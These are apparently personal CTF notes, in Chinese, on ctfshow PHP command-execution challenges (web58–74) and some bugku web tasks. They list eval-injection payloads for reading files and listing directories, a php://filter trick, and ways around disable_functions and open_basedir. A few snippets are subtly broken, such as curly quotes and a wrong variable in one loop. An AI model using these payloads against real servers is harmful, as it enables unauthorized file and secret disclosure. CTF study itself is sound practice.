2021/7/9
命令执行
web58-63
没有过滤但是有禁用函数
hackbar post data测试函数 可用有
1
2
3- c=show_source('flag.php'); //读取文件
- c=file_get_contents('flag.php');
- c=highlight_file('flag.php'); //通用,没有被禁读取文件函数
highlight_file($filename);
show_source($filename);
print_r(php_strip_whitespace($filename));
print_r(file_get_contents($filename));
readfile($filename);
print_r(file($filename)); // var_dump
fread(fopen($filename,”r”), $size);
include($filename); // 非php代码
include_once($filename); // 非php代码
require($filename); // 非php代码
require_once($filename); // 非php代码
print_r(fread(popen(“cat flag”, “r”), $size));
print_r(fgets(fopen($filename, “r”))); // 读取一行
fpassthru(fopen($filename, “r”)); // 从当前位置一直读取到 EOF
print_r(fgetcsv(fopen($filename,”r”), $size));
print_r(fgetss(fopen($filename, “r”))); // 从文件指针中读取一行并过滤掉 HTML 标记
print_r(fscanf(fopen(“flag”, “r”),”%s”));
print_r(parse_ini_file($filename)); // 失败时返回 false , 成功返回配置数组include函数文件读取
1
url/?1=php://filter/convert.base64-encode/resource=flag.php
post data
c=include($_GET[1]);
base64解码
中国蚁剑通用 密码为c 直接读取文件
web66-70
flag不在flag.php里在flag.txt里
打开flag.php “别秀了,这次flag不在这
- ```
c=print_r(scandir(“/“)); //读取目录 或者用var_dump函数1
2
3
4
5
6
7
8
9
10
11
12
13
14
> 读取目录
>
> print_r(glob("*")); // 列当前目录
> print_r(glob("/*")); // 列根目录
> print_r(scandir("."));
> print_r(scandir("/"));
> $d=opendir(".");while(false!==($f=readdir($d))){echo"$f\n";}
> $d=dir(".");while(false!==($f=$d->read())){echo$f."\n";}
> $a=glob("/*");foreach($a as $value){echo $value." ";}
> $a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}
- ```
c=highlight_file('/flag.txt'); //读取文件 或者用include函数
web71
读取flag.txt “???????你要上天吗?”
下载附件index.php
直接中断eval()后续程序执行 否则字符会被换成 ?
1
c=include('/flag.txt');exit();
web72
读取目录发现函数被ban 还有打开文件限制 因为有disabled-functions和open_basedir
open_basedir是php.ini中的一个配置选项
它可将用户访问文件的活动范围限制在指定的区域,
假设open_basedir=/home/wwwroot/home/web1/:/tmp/,那么通过web1访问服务器的用户就无法获取服务器上除了/home/wwwroot/home/web1/和/tmp/这两个目录以外的文件。
注意用open_basedir指定的限制实际上是前缀,而不是目录名。
举例来说: 若”open_basedir = /dir/user”, 那么目录 “/dir/user” 和 “/dir/user1”都是可以访问的。所以如果要将访问限制在仅为指定的目录,请用斜线结束路径名。
disable_functions:用于禁止某些函数,也就是黑名单,简单来说就是php为了防止某些危险函数执行给出的配置项,默认情况下为空
继续找没ban函数读取目录 然后读取 post data:
1
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");};exit();
或者post data:
1
2
3
4
5
6
7
8c=$a="glob:///*.txt"; //打开根目录下所有txt文件
if($b=opendir($a)){
while(($file=readdir($b))!==false){
echo"filename:".$filename."\n";
}
closedir($b);
}
exit();得到flag在flag0.txt里
1
c=include('/flag0.txt');exit();
- 如果有open_basedir限制 脚本绕过file 用url编码
web73-74
读取目录 查看flag文件名–> include文件
73:flagc.txt 74:flagx.txt
bugku
web滑稽
直接查看源代码
web你必须让它停下
查看源码发现有自动刷新页面的函数
停下来就用抓包 一定有一个有flag的
web矛盾
is_numeric:如果指定的变量是数字和数字字符串则返回 TRUE,否则返回 FALSE,注意浮点型返回空值,即 FALSE。
- php是一种弱语言 所以只要可以输入一个字符串 1‘或者1x都可以